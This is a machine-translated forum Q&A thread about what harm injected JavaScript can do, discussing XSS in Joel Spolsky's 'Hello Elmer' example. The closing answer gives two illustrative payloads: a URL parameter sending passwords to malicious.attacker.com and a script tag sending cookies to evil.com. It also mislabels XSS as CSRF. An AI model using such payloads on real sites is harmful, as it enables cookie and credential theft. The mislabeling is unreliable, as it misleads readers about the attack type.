javascript会有什么危害?

The*_*ing 11 javascript security web-applications

我碰巧在这里读到了joel的博客......

例如,如果你有一个网页上写着"你的名字是什么?",带有一个编辑框,然后提交那个页面就会带你到另一个页面,上面写着你好,埃尔默!(假设用户的名字是埃尔默),那么,这是一个安全漏洞,因为用户可以键入各种奇怪的HTML和JavaScript而不是"Elmer",他们奇怪的JavaScript可以做很多事情,现在那些麻烦的东西似乎来自你,所以例如他们可以阅读你放在那里的饼干并将它们转发给邪恶博士邪恶的网站.

由于javascript在客户端运行.它只能在客户端访问或执行.

  1. 它可以读取存储在隐藏字段中的信息并更改它们.
  2. 它可以读取,写入或操作cookie ...

但我觉得,这些信息无论如何都可供他使用.(如果他足够聪明,可以在文本框中传递javascript.所以我们没有授权他提供新信息或者让他过度访问我们的服务器......

只是想知道我是否想念一些东西.您能否列出恶意用户可以使用此安全漏洞执行的操作.

编辑:感谢所有人的启发.正如kizzx2在其中一条评论中指出的那样......我忽略了这样一个事实:用户A编写的JavaScript可能会在很多情况下在用户B的浏览器中执行,在这种情况下它会成为一个很大的风险.

kiz*_*zx2 2

有一些答案解释了 CSRF 和 XSS。我是说对于引用的特定段落,根本不存在安全威胁。

引用的段落非常简单——它允许您执行一些 JavaScript。恭喜——我可以用 Firebug 做同样的事情,它给了我一个可以使用的命令行,而不必使用某些网站给我的文本框来伪造它,而我必须滥用它。

我真的认为乔尔在写这篇文章时并没有真正清醒。这个例子纯粹是误导性的。

编辑更多详细说明:

我们应该记住以下几点:

  1. 代码除非被执行,否则不会造成任何伤害。
  2. JavaScript 只能在客户端执行(是的,有服务器端 JavaScript,但显然不在这个问题/文章的上下文中)
  3. 如果用户编写一些 JavaScript,然后在他自己的机器上执行——有什么害处呢?没有,因为他可以随时从 Firebug 执行 JavaScript,而无需通过文本框。

当然还有CSRF,其他人已经解释过了。存在威胁的唯一情况是用户 A 可以编写一些在用户 B 的计算机中执行的代码

几乎所有答案都直接回答了“JavaScript 会造成什么危害?”这个问题。按照 CSRF 的方向进行解释——这要求用户 A 能够编写用户 B 可以执行的代码。

所以这是一个更完整的、由两部分组成的答案:

如果我们谈论引用的段落,答案是“无害”

我不会将这段话的含义解释为类似于上面描述的场景,因为它很明显是在谈论一个基本的“你好,埃尔默世界”的例子。综合地从段落中归纳出隐含的含义只会使其更具误导性。

如果我们谈论“一般来说 JavaScript 会造成什么危害”,答案与基本的 XSS/CSRF 有关

额外的福利这里有几个更现实的场景,说明 CSRF(用户 A 编写在用户 B 的机器上执行的 JavaScript)如何发生

  • 网页从 中获取参数GET。攻击者可以引诱受害者访问http://foo.com/?send_password_to=malicious.attacker.com
  • 网页向其他用户逐字显示一个用户生成的内容。攻击者可以在他的 Avatar 的 URL 中放入类似这样的内容:(<script>send_your_secret_cookies_to('http://evil.com')</script>这需要一些调整才能获得传递引用等,但你明白了)